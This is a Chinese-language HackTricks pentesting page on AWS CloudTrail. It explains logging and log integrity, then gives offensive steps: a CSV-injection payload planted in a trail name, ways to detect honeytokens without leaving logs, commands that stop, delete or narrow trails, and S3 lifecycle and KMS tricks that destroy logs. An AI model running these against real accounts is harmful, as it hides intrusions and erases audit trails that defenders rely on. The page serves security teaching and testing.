AWS - CloudTrail Enum

支持 HackTricks

CloudTrail

AWS CloudTrail 记录和监控您 AWS 环境中的活动。它捕获详细的 事件日志,包括谁做了什么、何时以及从哪里进行的所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源更改跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。

每个记录的事件包含:

  • 被调用的 API 名称: eventName

  • 被调用的服务: eventSource

  • 时间: eventTime

  • IP 地址: SourceIPAddress

  • 代理方法: userAgent。示例:

  • Signing.amazonaws.com - 来自 AWS 管理控制台

  • console.amazonaws.com - 账户的根用户

  • lambda.amazonaws.com - AWS Lambda

  • 请求参数: requestParameters

  • 响应元素: responseElements

事件每 约 5 分钟写入一个新的日志文件,格式为 JSON,这些日志由 CloudTrail 保存,最后,日志文件 大约在 15 分钟后交付到 S3。 CloudTrail 的日志可以 跨账户和跨区域聚合。 CloudTrail 允许使用 日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 sha-256 哈希。 创建 Trail 时,事件选择器将允许您指示要记录的 Trail:管理、数据或洞察事件。

日志保存在 S3 存储桶中。默认情况下使用服务器端加密 (SSE-S3),因此 AWS 将为有权访问的人解密内容,但为了额外的安全性,您可以使用 KMS 和您自己的密钥的 SSE。

日志存储在 具有以下名称格式的 S3 存储桶中

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • 存储桶名称为: aws-cloudtrail-logs-<accountid>-<random>

  • 示例: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

在每个文件夹中,每个日志将具有 遵循以下格式的名称AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

日志文件命名约定

此外,**摘要文件(用于检查文件完整性)**将位于 同一存储桶中:

从多个账户聚合日志

  • 在您希望日志文件交付到的 AWS 账户中创建一个 Trail

  • 对目标 S3 存储桶应用权限,允许 CloudTrail 的跨账户访问,并允许每个需要访问的 AWS 账户

  • 在其他 AWS 账户中创建一个新 Trail,并选择使用步骤 1 中创建的存储桶

然而,即使您可以将所有日志保存在同一个 S3 存储桶中,您也无法将来自多个账户的 CloudTrail 日志聚合到属于单个 AWS 账户的 CloudWatch Logs 中。

请记住,一个账户可以有 不同的 Trails 从 CloudTrail 启用,在不同的存储桶中存储相同(或不同)的日志。

从所有组织账户获取 CloudTrail 到 1 个

创建 CloudTrail 时,可以指示激活所有组织中的账户的 CloudTrail,并将日志获取到一个存储桶中:

这样,您可以轻松地在所有账户的所有区域配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。

日志文件检查

您可以通过运行来检查日志是否未被更改

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

日志到 CloudWatch

CloudTrail 可以自动将日志发送到 CloudWatch,以便您可以设置警报,当执行可疑活动时提醒您。 请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个 角色 来允许该操作。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail:

  • CreateLogStream:这允许创建 CloudWatch Logs 日志流

  • PutLogEvents:将 CloudTrail 日志传送到 CloudWatch Logs 日志流

事件历史

CloudTrail 事件历史允许您在表格中检查已记录的日志:

洞察

CloudTrail 洞察 自动 分析 来自 CloudTrail 路径的写入管理事件,并 提醒异常活动。例如,如果 TerminateInstance 事件的增加与既定基线不同,您将看到它作为洞察事件。这些事件使 发现和响应异常 API 活动比以往任何时候都更容易

洞察存储在与 CloudTrail 日志相同的存储桶中:BucketName/AWSLogs/AccountID/CloudTrail-Insight

安全

访问顾问

AWS 访问顾问依赖于过去 400 天的 AWS CloudTrail 日志来收集其洞察。CloudTrail 捕获在 AWS 账户中进行的 AWS API 调用及相关事件的历史记录。访问顾问利用这些数据 显示服务最后一次访问的时间。通过分析 CloudTrail 日志,访问顾问可以确定 IAM 用户或角色访问了哪些 AWS 服务以及何时发生该访问。这帮助 AWS 管理员做出有关 精炼权限 的明智决策,因为他们可以识别长时间未被访问的服务,并可能根据实际使用模式减少过于宽泛的权限。

因此,访问顾问告知 给予用户的不必要权限,以便管理员可以删除它们

操作

枚举

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV 注入

在 CloudTrail 中执行 CVS 注入是可能的,如果日志以 CSV 格式导出并在 Excel 中打开,将执行任意代码。 以下代码将生成一个包含有效负载的坏 Trail 名称的日志条目:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

有关 CSV 注入的更多信息,请查看页面:

有关此特定技术的更多信息,请查看 https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

绕过检测

HoneyTokens 绕过

Honeytokens 的创建是为了 检测敏感信息的外泄。在 AWS 的情况下,它们是 使用受到监控的 AWS 密钥,如果某个操作触发了该密钥的动作,那么就必须有人窃取了该密钥。

然而,像 Canarytokens SpaceCrab SpaceSiren 创建的 Honeytokens 要么使用可识别的账户名称,要么为所有客户使用相同的 AWS 账户 ID。因此,如果您可以在不让 Cloudtrail 创建任何日志的情况下获取账户名称和/或账户 ID,您就可以知道该密钥是否是 Honeytoken

Pacu 有一些规则来检测密钥是否属于 Canarytokens SpaceCrab SpaceSiren:

  • 如果 canarytokens.org 出现在角色名称中,或者账户 ID 534261010715 出现在错误消息中。

  • 最近测试时,他们使用的账户是 717712589309,并且名称中仍然包含 canarytokens.com 字符串。

  • 如果 SpaceCrab 出现在错误消息中的角色名称中

  • SpaceSiren 使用 uuids 生成用户名:[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • 如果 名称看起来像是随机生成的,那么它是 HoneyToken 的概率很高。

从密钥 ID 获取账户 ID

您可以从 访问密钥 中的 编码 获取 账户 ID,如 此处所述,并使用您的 Honeytokens AWS 账户列表检查账户 ID:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

检查更多信息请访问 原始研究

不生成日志

最有效的技术实际上是一个简单的方法。只需使用您刚找到的密钥访问您自己攻击者账户中的某个服务。这将使 CloudTrail 在您自己的 AWS 账户中生成日志,而不是在受害者的账户中

问题在于,输出将显示一个错误,指示账户 ID 和账户名称,因此 您将能够看到它是否是一个 Honeytoken

没有日志的 AWS 服务

过去有一些 AWS 服务不会将日志发送到 CloudTrail(在这里找到 列表)。其中一些服务会 响应 一个 错误,其中包含 密钥角色的 ARN,如果有人未经授权(即 Honeytoken 密钥)尝试访问它。

通过这种方式,攻击者可以在不触发任何日志的情况下获取密钥的 ARN。在 ARN 中,攻击者可以看到 AWS 账户 ID 和名称,很容易知道 HoneyToken 的公司账户 ID 和名称,因此攻击者可以识别该令牌是否为 HoneyToken。

请注意,所有发现未创建 CloudTrail 日志的公共 API 现在已修复,因此您可能需要自己寻找...

有关更多信息,请查看 原始研究

访问第三方基础设施

某些 AWS 服务将 生成一些基础设施,例如 数据库Kubernetes 集群(EKS)。用户 直接与这些服务交互(如 Kubernetes API) 不会使用 AWS API,因此 CloudTrail 将无法看到此通信。

因此,具有 EKS 访问权限的用户如果发现 EKS API 的 URL,可以在本地生成一个令牌,并 直接与 API 服务交谈而不被 CloudTrail 检测到

更多信息请参见:

修改 CloudTrail 配置

删除轨迹

aws cloudtrail delete-trail --name [trail-name]

停止跟踪

aws cloudtrail stop-logging --name [trail-name]

禁用多区域日志记录

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

通过事件选择器禁用日志记录

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

在第一个示例中,单个事件选择器作为包含单个对象的 JSON 数组提供。"ReadWriteType": "ReadOnly" 表示 事件选择器仅应捕获只读事件(因此 CloudTrail insights 不会检查写入 事件,例如)。

您可以根据您的具体要求自定义事件选择器。

通过 S3 生命周期策略删除日志

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

修改桶配置

  • 删除 S3 桶

  • 更改桶策略以拒绝来自 CloudTrail 服务的任何写入

  • 向 S3 桶添加生命周期策略以删除对象

  • 禁用用于加密 CloudTrail 日志的 kms 密钥

Cloudtrail 勒索软件

S3 勒索软件

您可以 生成一个非对称密钥 并使 CloudTrail 使用该密钥加密数据,然后 删除私钥,以便 CloudTrail 内容无法恢复。 这基本上是 S3-KMS 勒索软件,详见:

KMS 勒索软件

这是以不同权限要求执行前述攻击的最简单方法:

参考文献

支持 HackTricks

Last updated